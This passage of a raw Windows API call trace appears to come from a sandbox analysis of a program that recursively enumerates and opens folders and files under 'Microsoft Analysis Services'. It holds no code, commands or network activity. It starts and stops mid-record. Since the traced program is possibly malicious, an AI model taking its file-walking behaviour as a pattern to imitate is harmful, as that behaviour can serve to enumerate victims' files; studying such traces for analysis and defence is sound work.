ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="")) returned 1 [0067.679] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76844de0, ftCreationTime.dwHighDateTime=0x1d55f8c, ftLastAccessTime.dwLowDateTime=0x2e479d80, ftLastAccessTime.dwHighDateTime=0x1d5b64d, ftLastWriteTime.dwLowDateTime=0x2e479d80, ftLastWriteTime.dwHighDateTime=0x1d5b64d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trembl.exe", cAlternateFileName="")) returned 1 [0067.679] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0067.680] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0067.680] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0067.680] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0067.680] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0067.680] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0067.680] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76844de0, ftCreationTime.dwHighDateTime=0x1d55f8c, ftLastAccessTime.dwLowDateTime=0x2e479d80, ftLastAccessTime.dwHighDateTime=0x1d5b64d, ftLastWriteTime.dwLowDateTime=0x2e479d80, ftLastWriteTime.dwHighDateTime=0x1d5b64d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trembl.exe", cAlternateFileName="")) returned 0 [0067.680] GetLastError () returned 0x12 [0067.680] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d1a0 [0067.680] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0067.680] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x9f93ae30, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f93ae30, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.680] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="")) returned 1 [0067.680] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0067.680] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files\\microsoft analysis services\\as oledb"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB" (normalized: "c:\\program files\\microsoft analysis services\\as oledb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0067.680] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0067.680] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd7460 [0067.681] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd7460, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xfd7460, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0067.681] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd7460) returned 1 [0067.681] NtClose (Handle=0x17c) returned 0x0 [0067.681] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0067.681] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0067.681] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5588 [0067.681] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5610 [0067.681] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0067.681] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.681] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0067.681] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0067.681] GetLastError () returned 0x12 [0067.681] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d220 [0067.681] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0067.681] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.681] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 1 [0067.681] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0067.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0067.682] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0067.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd7460 [0067.682] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd7460, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfd7460, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0067.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd7460) returned 1 [0067.682] NtClose (Handle=0x17c) returned 0x0 [0067.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0067.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0067.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd57a8 [0067.682] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0067.717] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.717] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="")) returned 1 [0067.717] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="")) returned 1 [0067.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.717] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.718] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47fe200, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47fe200, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0xbc4568, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv.dll", cAlternateFileName="")) returned 1 [0067.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.718] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="")) returned 1 [0067.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.718] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46ad400, ftCreationTime.dwHighDateTime=0x1c8e1fb, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb46ad400, ftLastWriteTime.dwHighDateTime=0x1c8e1fb, nFileSizeHigh=0x0, nFileSizeLow=0x4dc18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.dll", cAlternateFileName="")) returned 1 [0067.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.718] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.718] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.719] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 1 [0067.719] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="")) returned 0 [0067.719] GetLastError () returned 0x12 [0067.719] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d260 [0067.719] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0067.719] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.719] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="")) returned 1 [0067.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0067.719] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.719] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd24f8 [0067.719] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0067.771] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfd7460 [0067.772] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfd7460, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfd7460, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd7460) returned 1 [0067.772] NtClose (Handle=0x17c) returned 0x0 [0067.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd24f8) returned 1 [0067.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5830 [0067.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd24f8 [0067.772] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.772] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2600 [0067.772] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d0a0 [0067.811] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.811] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4360, dwReserved0=0x0, dwReserved1=0x0, cFileName="as80.xsl", cAlternateFileName="")) returned 1 [0067.811] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.811] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.811] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.811] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.811] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.811] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2708 [0067.811] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5830) returned 1 [0067.811] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd0610 [0067.811] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2810 [0067.811] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.811] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0x0, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0067.811] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5720 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfd0630 [0067.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfd2918 [0067.812] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5720) returned 1 [0067.812] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, 